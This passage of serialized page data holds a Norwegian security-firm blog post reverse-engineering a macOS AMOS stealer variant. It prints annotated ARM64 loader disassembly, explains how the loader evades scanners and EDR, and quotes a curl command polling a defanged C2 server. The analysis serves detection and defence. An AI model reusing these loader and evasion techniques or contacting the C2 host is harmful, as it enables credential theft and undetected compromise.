ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2295,2293],{"__ignoreMap":585},[528,2297,2298,2299,2302,2303,2305,2306,2309],{},"XOR-nøkkelen er ",[555,2300,2301],{},"0x2e",", ASCII-verdien for ",[555,2304,1529],{}," (punktum). Dekodingen skjer i én enkelt ",[555,2307,2308],{},"eor v0.8B, v0.8B, v1.8B","-instruksjon, en ARM64-NEON-vektorinstruksjon som XOR-ler alle 8 byter samtidig. Å bruke en SIMD-instruksjon for en enkel 8-byte-dekoding er uvanlig og har to effekter: raskere enn en byte-for-byte-løkke, og instruksjonsmønsteret som produseres skiller seg fundamentalt fra skalare dekodings-løkker som signatur-matching-verktøy er trent på.",[528,2311,2312,2313,1323,2316,1323,2319,1323,2322,2325,2326,2329],{},"Verifiseringen er enkel: ",[555,2314,2315],{},"0x01 XOR 0x2e = 0x2f = /",[555,2317,2318],{},"0x4c XOR 0x2e = 0x62 = b",[555,2320,2321],{},"0x47 XOR 0x2e = 0x69 = i",[555,2323,2324],{},"0x40 XOR 0x2e = 0x6e = n",", som gir ",[555,2327,2328],{},"/bin"," i de første fire bytene.",[706,2331,2333],{"id":2332},"steg-2-pipe-arkitekturen","Steg 2: Pipe-arkitekturen",[528,2335,712],{},[528,2337,2338],{},"Etter å ha dekodet kommandonavnet oppretter funksjonen en OS-pipe og forker:",[573,2340,2341],{"style":575},[577,2342,2345],{"className":2343,"code":2344,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2346,2344],{"__ignoreMap":585},[528,2348,2349],{},"I child-prosessen:",[573,2351,2352],{"style":575},[577,2353,2356],{"className":2354,"code":2355,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2357,2355],{"__ignoreMap":585},[528,2359,2360,2361,2364,2365,2368,2369,2371],{},"Child-prosessen erstatter sin standard-input med lese-enden av pipen og starter ",[555,2362,2363],{},"/bin/zsh -s",". I ",[555,2366,2367],{},"-s","-modus leser shellen kommandoer fra stdin. For process-monitoring-verktøy fremstår denne prosessen som ",[555,2370,2363],{}," uten argumenter, ikke til å skille fra en legitim interaktiv shell-session.",[706,2373,2375],{"id":2374},"steg-3-chunk-writes-av-varierende-størrelse","Steg 3: Chunk-writes av varierende størrelse",[528,2377,712],{},[528,2379,2380],{},"Parent-prosessen skriver den dekrypterte payloaden i bevisst varierende chunk-størrelser til skrive-enden av pipen:",[573,2382,2383],{"style":575},[577,2384,2387],{"className":2385,"code":2386,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2388,2386],{"__ignoreMap":585},[528,2390,2391,2392,2395,2396,2399,2400,2403,2404,2407],{},"Chunk-størrelsesformelen ",[555,2393,2394],{},"(remaining_length % 192) + 64"," produserer verdier mellom 64 og 255 byte per write-kall, avhengig av gjenværende payload-lengde. Det variable write-mønsteret er synlig i kernel-event-tracing-verktøy som ",[555,2397,2398],{},"ktrace"," eller ",[555,2401,2402],{},"dtrace",", men produserer ingen gjenkjennelig fastformat-signatur. Hver kjøring av samme payload gir en annen sekvens av ",[555,2405,2406],{},"write()","-syscall-størrelser.",[528,2409,2410,2412],{},[555,2411,1119],{}," på 1 mikrosekund mellom chunks har et sekundært formål: den gir CPU-en fri mellom skrivingene, holder CPU-belastningen flat og unngår en plutselig spike som en atferdsbasert EDR-regel kunne flagge som avvikende burst-I/O.",[706,2414,2416],{"id":2415},"steg-4-umiddelbar-minneopprydning","Steg 4: Umiddelbar minneopprydning",[528,2418,712],{},[573,2420,2421],{"style":575},[577,2422,2425],{"className":2423,"code":2424,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2426,2424],{"__ignoreMap":585},[528,2428,2429,2432],{},[555,2430,2431],{},"_bzero()","-kallet nuller ut hele den dekrypterte payload-bufferen umiddelbart etter siste skriving til pipen. Ikke noe tidsvindu, ikke engang et mikrosekund, der den dekrypterte payloaden ligger i minnet etter at kjøringen er fullført. En live memory dump tatt rett etter at denne funksjonen returnerer finner bare nuller der payloaden var.",[528,2434,2435,2436,2439],{},"Det kalles ",[771,2437,2438],{},"zero-after-use",", den samme teknikken som høysikre kryptografiske biblioteker bruker for å hindre at nøkkelmateriale blir liggende i minnet. At denne teknikken dukker opp i commodity-malware er uvanlig og tyder på en utvikler med security-engineering-bakgrunn.",[706,2441,2443],{"id":2442},"den-fullstendige-kjøringssekvensen","Den fullstendige kjøringssekvensen:",[528,2445,712],{},[573,2447,2448],{"style":575},[577,2449,2452],{"className":2450,"code":2451,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2453,2451],{"__ignoreMap":585},[562,2455,2457],{"id":2456},"import-tabellen-som-våpen","Import-tabellen som våpen",[528,2459,568],{},[528,2461,2462],{},"Den fullstendige import-tabellen for denne binaryen:",[573,2464,2465],{"style":575},[577,2466,2469],{"className":2467,"code":2468,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2470,2468],{"__ignoreMap":585},[528,2472,2473],{},"Totalt 27 symboler. Det som mangler er minst like avslørende som det som finnes.",[706,2475,2477],{"id":2476},"fraværende-nettverk","Fraværende: nettverk",[528,2479,712],{},[573,2481,2482],{"style":575},[577,2483,2486],{"className":2484,"code":2485,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2487,2485],{"__ignoreMap":585},[706,2489,2491],{"id":2490},"fraværende-filsystem","Fraværende: filsystem",[528,2493,712],{},[573,2495,2496],{"style":575},[577,2497,2500],{"className":2498,"code":2499,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2501,2499],{"__ignoreMap":585},[706,2503,2505],{"id":2504},"fraværende-prosess-introspeksjon","Fraværende: prosess-introspeksjon",[528,2507,712],{},[573,2509,2510],{"style":575},[577,2511,2514],{"className":2512,"code":2513,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2515,2513],{"__ignoreMap":585},[706,2517,2519],{"id":2518},"fraværende-kryptografi","Fraværende: kryptografi",[528,2521,568],{},[573,2523,2524],{"style":575},[577,2525,2528],{"className":2526,"code":2527,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2529,2527],{"__ignoreMap":585},[528,2531,2532,2533,1323,2536,2539,2540,1323,2543,2546],{},"I et tradisjonelt malware-sample ville man forvente nettverks-imports (",[555,2534,2535],{},"socket",[555,2537,2538],{},"connect",") eller fil-imports (",[555,2541,2542],{},"fopen",[555,2544,2545],{},"write","). Denne binaryen har ikke en eneste. For en standard scanner ser den ut som en harmløs prosess-launcher, og slik er det tenkt: et bevisst arkitekturvalg som lar statiske analyseverktøy løpe tomme.",[528,2548,2549,2551],{},[555,2550,921],{},"-binaryen utfører ikke tyveriet selv. Dens eneste formål er å plassere og kjøre den egentlige ondsinnede payloaden, et sterkt obfuskert AppleScript. En EDR eller AV som leter etter ondsinnede binaries ser her en loader uten nettverks- eller fil-I/O og kan klassifisere den som ren, uten å oppdage at binaryen er et spesialisert leveringssystem for en high-level-skript-payload.",[538,2553],{},[541,2555,2557],{"id":2556},"bakdøren","Bakdøren",[528,2559,547],{},[528,2561,2562,2563,2566],{},"Hendelsen sluttet ikke etter den innledende kompromitteringen. Microsoft Defender-telemetri viste en prosess som kjørte fra ",[555,2564,2565],{},"/Users/\u003Credacted>/.mainhelper"," og spurte en ekstern server:",[573,2568,2569],{"style":575},[577,2570,2572],{"className":782,"code":2571,"language":784,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2573,2574],{"__ignoreMap":585},[622,2575,2576,2579,2581],{"class":624,"line":625},[622,2577,2578],{"class":791},"sh",[622,2580,796],{"class":795},[622,2582,2583],{"class":809}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2585,2586],{},"Base64-strengen dekodet seg til en 16-byte enhets-UUID, den unike identifikatoren som angriperens C2-infrastruktur hadde tildelt denne enheten på dagen for førstegangsinfeksjonen.",[528,2588,2589,2592,2593,2596,2597,2599],{},[555,2590,2591],{},".mainhelper","-binaryen (SHA-256: ",[555,2594,2595],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") var installert av osascript-dropperen via ",[555,2598,792],{}," på selve hendelsesdagen.",[538,2601],{},[541,2603,2605],{"id":2604},"shared-threat-intelligence-styrken-i-det-kollektive-skjoldet","Shared Threat Intelligence: styrken i det kollektive skjoldet",[528,2607,547],{},[528,2609,2610],{},"Når en alert utløses i vårt SOC, begynner klokken å gå ikke bare for den berørte kunden, men for hver eneste organisasjon under glueckkanjas beskyttelsesskjold. Denne undersøkelsen av en udokumentert AMOS-variant viser tydelig hva Intelligence Gap betyr i praksis: et farlig tidsvindu der klassiske leverandører er blinde fordi de ennå ikke har sett trusselen.",[528,2612,2613],{},"Her viser vår proprietære Shared Threat Intelligence Platform sin verdi, utviklet eksklusivt for glueckkanja-CSOC-kunder. Vi venter ikke på bransje-oppdateringer, vi skaper dem. Mens analytikerne våre fortsatt demonterte de siste lagene av ARM64-assembly, distribuerte vår Automated Orchestration Engine allerede de uttrukne indikatorene på tvers av hele økosystemet. Det skaper flokkimmunitet: det som oppdages på ett enkelt endpoint, er innen få minutter en blokkert trussel for hver eneste organisasjon under vår beskyttelse.",[528,2615,2616],{},"Reaktiv sikkerhet fungerer ikke mot trusler som målrettet sniker seg gjennom hullene i konvensjonelle forsvarsmekanismer. Svaret ligger i å koble menneskelig ekspertise til en arkitektur som setter den kunnskapen ut i livet umiddelbart og i stor skala. Gjennom vår Shared Intelligence-modell snus angriperens tidsfortrinn på hodet: kundene våre er beskyttet før bransjen i det hele tatt oppdager trusselen.",[2618,2619,2620,2625,2628,2631],"blockquote",{},[528,2621,2622],{},[771,2623,2624],{},"Merknad om personvern",[528,2626,2627],{},"Identifiserende informasjon er anonymisert i denne publikasjonen. Spesifikke tekniske detaljer, indikatorer og tidsstempler kan være lett endret for å sikre pågående beskyttelse av det berørte miljøet, uten å svekke den tekniske integriteten til analysen.",[528,2629,2630],{},"De tekniske analysene og Indicators of Compromise (IOC-ene) i denne rapporten er kun til informasjon og opplæring. De leveres etter beste evne. glueckkanja AG gir ingen uttrykkelige eller underforståtte garantier for fullstendighet eller nøyaktighet, og påtar seg intet ansvar for skader, tap eller sikkerhetshendelser som følge av bruk av informasjon, regler eller signaturer som deles her. Vi anbefaler å validere alle indikatorer og regler i et kontrollert miljø før de tas i bruk.",[528,2632,2633],{},"Beskrevne indikatorer og teknikker kan overlappe med kjente malware-familier og er ikke eksklusivt knyttet til én enkelt kampanje.",[2635,2636,2637],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":631,"depth":631,"links":2639},[2640,2641,2642,2643,2650,2651,2652,2653,2661,2668],{"id":564,"depth":631,"text":565},{"id":605,"depth":631,"text":606},{"id":666,"depth":631,"text":667},{"id":698,"depth":631,"text":699,"children":2644},[2645,2646,2647,2648,2649],{"id":708,"depth":849,"text":709},{"id":723,"depth":849,"text":724},{"id":737,"depth":849,"text":738},{"id":746,"depth":849,"text":747},{"id":763,"depth":849,"text":764},{"id":928,"depth":631,"text":929},{"id":1018,"depth":631,"text":1019},{"id":1134,"depth":631,"text":1135},{"id":1205,"depth":631,"text":1206,"children":2654},[2655,2656,2657,2658,2659,2660],{"id":1220,"depth":849,"text":1221},{"id":1508,"depth":849,"text":1509},{"id":1763,"depth":849,"text":1764},{"id":1957,"depth":849,"text":1958},{"id":2044,"depth":849,"text":2045},{"id":2196,"depth":849,"text":2197},{"id":2250,"depth":631,"text":2251,"children":2662},[2663,2664,2665,2666,2667],{"id":2266,"depth":849,"text":2267},{"id":2332,"depth":849,"text":2333},{"id":2374,"depth":849,"text":2375},{"id":2415,"depth":849,"text":2416},{"id":2442,"depth":849,"text":2443},{"id":2456,"depth":631,"text":2457,"children":2669},[2670,2671,2672,2673],{"id":2476,"depth":849,"text":2477},{"id":2490,"depth":849,"text":2491},{"id":2504,"depth":849,"text":2505},{"id":2518,"depth":849,"text":2519},"md","post",{"lang":2677,"seoTitle":2678,"titleClass":2679,"date":2680,"categories":2681,"blogtitlepic":2682,"socialimg":2683,"customExcerpt":2684,"keywords":2685,"maxContent":325,"asideNav":2686,"footer":2701,"contactInContent":2702,"published":325},"no","AMOS-Stealer-variant: Reverse engineering av en ukjent macOS-malware","h2-font-size","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","En hittil udokumentert AMOS-Stealer-variant kompromitterte et macOS-endpoint. Ingen kjente hasher, ingen C2-data i offentlige databaser. Vårt SOC demonterte seks obfuskeringslag, hentet ut alle indikatorene og distribuerte beskyttelsen til samtlige SOC-kunder i løpet av timer, før bransjen i det hele tatt hadde sett samplet.","AMOS Stealer, macOS Malware, Reverse Engineering, malware-analyse, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-sikkerhet, stealer-malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2687},[2688,2691,2693,2696,2698],{"href":2689,"text":2690},"#hendelsen-et-ukjent-ioc-scenario","Hendelsen",{"href":2692,"text":565},"#stage-1-sandbox-sjekker",{"href":2694,"text":2695},"#stage-2-reverse-engineering-av-helper-binaryen","Stage 2: Binary-analyse",{"href":2697,"text":2557},"#bakdøren",{"href":2699,"text":2700},"#shared-threat-intelligence-styrken-i-det-kollektive-skjoldet","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2703},{"bgColor":2704,"headline":2705,"subline":2706,"level":562,"textStyling":2707,"flush":2708,"person":2709,"form":2715},"var(--color-gk-dark-blue)","Kontakt oss","Vil du vite hvordan vår Shared Threat Intelligence Platform beskytter deg mot ukjente malware-varianter før bransjen får vite om dem? Ta kontakt med oss.","text-light","justify-content-end",{"image":2710,"cloudinary":325,"alt":2711,"name":2712,"quotee":2712,"quoteeTitle":2713,"quote":2714},"/people/people-jan-geisbauer-csoc.jpg","Portrett av Jan Geisbauer, Head of Security hos glueckkanja","Jan Geisbauer","Head of Security","Det farlige med denne varianten var ikke den tekniske kompleksiteten, så imponerende den enn er. Det farlige var tidsvinduet. Uten Shared Threat Intelligence ville de andre kundene våre ha stått ubeskyttet i timevis mens vi fortsatt analyserte.",{"ctaText":2716,"cta":2717,"method":2675,"action":2719,"fields":2720},"Send inn",{"skin":2718},"primary on-surface","/send",[2721,2725,2729,2732,2736,2741,2746,2748,2751,2754,2757,2759],{"type":2722,"id":2723,"value":2724},"hidden","_next","successful",{"label":2726,"type":582,"id":2727,"required":325,"requiredMsg":2728},"Navn*","name","Vennligst oppgi navnet ditt.",{"label":2730,"type":582,"id":403,"required":325,"requiredMsg":2731},"Bedrift*","Vennligst oppgi bedriften din.",{"label":2733,"type":2734,"id":2734,"required":325,"requiredMsg":2735},"E-postadresse*","email","Vennligst oppgi e-postadressen din.",{"label":2737,"type":2738,"id":2739,"required":484,"requiredMsg":2740},"Din melding til oss","textarea","message","Vennligst skriv en melding.",{"label":2742,"type":2743,"id":2744,"required":325,"requiredMsg":2745},"Dataene dine lagres og brukes til å behandle henvendelsen din. Detaljer finner du i \u003Ca href=\"/no/privacy\">personvernerklæringen vår\u003C/a>.","checkbox","dataprotection","Vennligst bekreft",{"type":2722,"id":2747,"value":235},"_topic",{"type":2722,"id":2749,"value":2750},"_location","World",{"type":2722,"id":2752,"value":2753},"_subject","Form: Blog AMOS Stealer CSOC | NO",{"type":2722,"id":2755,"value":2756},"inbox_key","gkgab-contact-form",{"type":2722,"id":2758},"_gotcha",{"type":2722,"id":2760},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2765,2766,2767,2768,2769],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","004OcCgTmbgKjXFaQhFCeI7hQLs69nBMjhEl_6ejkJQ",{"id":2772,"extension":2773,"meta":2774,"stem":8,"__hash__":3123},"authors_data/authors.json","json",{"path":2775,"Fritz Zurhorst":2776,"Alexander Schlindwein":2782,"Sophie Luna":2788,"Nadine Klein":2796,"Karsten Kleinschmidt":2802,"Julian Wendt":2810,"Holger Bunkradt":2815,"Ralf Mania":2821,"Oliver Kieselbach":2827,"Steffen Schwerdtfeger":2833,"Gunnar Winter":2841,"Jan Petersen":2846,"Thorsten Kunzi":2851,"Moritz Pohl":2855,"Thorben Pöschus":2860,"Christoph Hannebauer":2866,"Marco Scheel":2870,"Christopher Brumm":2875,"Florian Klante":2882,"Niklas Bachmann":2887,"Nils Krautkrämer":2892,"Patrick Treptau":2898,"Peter Beckendorf":2903,"Patrick Sobau":2908,"Jörg Wunderlich":2913,"Michael Breither":2917,"Christian Kanja":2922,"Zeba Hoffmann":2928,"Jochen Fröhlich":2933,"Jan Geisbauer":2937,"Gerrit Reinke":2948,"Christian Kordel":2954,"Stephan Wälde":2958,"Carolin Kanja":2963,"Adrian Ritter":2969,"Marvin Bangert":2974,"Thorsten Pickhan":2980,"Christian Lorenz":2986,"Denis Böhm":2991,"Fabian Bader":2996,"Juan Jose Fernandez Perez":3002,"Mahschid Sayyar":3007,"Benjamin Dassow":3012,"Markus Walschburger":3017,"Jonathan Haist":3022,"Daniel Rohregger":3027,"Thomas Naunheim":3032,"Florian Stöckl":3037,"Pascal Asch":3042,"Markus Kättner":3046,"Anna Ulbricht":3053,"Annette Brauns":3060,"body":3066,"title":3122},"/authors",{"display_name":2777,"avatar":2778,"permalink":2779,"linkedin":2780,"imageOffsetTop":2781},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2783,"avatar":2784,"permalink":2785,"twitter":2786,"linkedin":2787},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2789,"avatar":2790,"permalink":2791,"twitter":2792,"linkedin":2793,"imageOffsetLeft":2794,"imageOffsetTop":2795},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2797,"avatar":2798,"permalink":2799,"twitter":2800,"linkedin":2801,"imageOffsetTop":2781},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2803,"avatar":2804,"permalink":2805,"twitter":2806,"linkedin":2807,"imageOffsetTop":2808,"imageOffsetLeft":2809},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2811,"avatar":2812,"permalink":2813,"linkedin":2814},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2816,"avatar":2817,"permalink":2818,"linkedin":2819,"twitter":2820},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2822,"avatar":2823,"permalink":2824,"linkedin":2825,"twitter":2826},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2828,"avatar":2829,"permalink":2830,"linkedin":2831,"twitter":2832},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2834,"avatar":2835,"permalink":2836,"linkedin":2837,"twitter":2838,"imageOffsetTop":2839,"imageOffsetLeft":2840},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2842,"avatar":2843,"permalink":2844,"twitter":2792,"linkedin":2845},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2847,"avatar":2848,"permalink":2849,"twitter":2792,"linkedin":2850},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2852,"avatar":2853,"permalink":2854,"twitter":2792,"linkedin":2845,"imageOffsetTop":2781},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2856,"avatar":2857,"permalink":2858,"twitter":2792,"linkedin":2859},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2861,"avatar":2862,"permalink":2863,"twitter":2864,"linkedin":2865},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2867,"avatar":2868,"permalink":2869,"twitter":2792,"linkedin":2845,"imageOffsetTop":2781},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2871,"avatar":2872,"permalink":2873,"twitter":2874,"linkedin":2874},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2876,"avatar":2877,"permalink":2878,"twitter":2879,"linkedin":2880,"imageOffsetTop":2881},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2883,"avatar":2884,"permalink":2885,"linkedin":2886,"twitter":2792},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2888,"avatar":2889,"permalink":2890,"linkedin":2891,"twitter":2792},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2893,"avatar":2894,"permalink":2895,"twitter":2896,"linkedin":2897},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2899,"avatar":2900,"permalink":2901,"linkedin":2902,"twitter":2792},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2904,"avatar":2905,"permalink":2906,"linkedin":2907,"twitter":2792,"imageOffsetTop":2781},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2909,"avatar":2910,"permalink":2911,"linkedin":2912,"twitter":2792},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2914,"avatar":2915,"permalink":2916,"twitter":2792},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2918,"avatar":2919,"permalink":2920,"twitter":2792,"linkedin":2921},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2923,"avatar":2924,"permalink":2925,"twitter":2926,"linkedin":2927},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2929,"avatar":2930,"permalink":2931,"linkedin":2932,"twitter":2792},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2934,"avatar":2935,"permalink":2936,"twitter":2792,"linkedin":2845},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2712,"avatar":2938,"permalink":2939,"twitter":2940,"linkedin":2940,"imageOffsetTop":2781,"socials":2941},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2942,2945],{"text":2943,"href":2944},"Blog","https://emptydc.com",{"text":2946,"href":2947},"Podcast","https://hairlessinthecloud.com",{"display_name":2949,"avatar":2950,"permalink":2951,"twitter":2952,"linkedin":2953},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2792,"linkedin":2845},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2959,"avatar":2960,"permalink":2961,"twitter":2962,"linkedin":2845},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2970,"avatar":2971,"permalink":2972,"twitter":2973,"linkedin":2973},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2975,"avatar":2976,"permalink":2977,"twitter":2978,"linkedin":2979},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2981,"avatar":2982,"permalink":2983,"twitter":2984,"linkedin":2985},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2987,"avatar":2988,"permalink":2989,"linkedin":2990,"twitter":2792},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2992,"avatar":2993,"permalink":2994,"linkedin":2995,"twitter":2792},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2997,"avatar":2998,"permalink":2999,"linkedin":3000,"twitter":3001},"Fabian 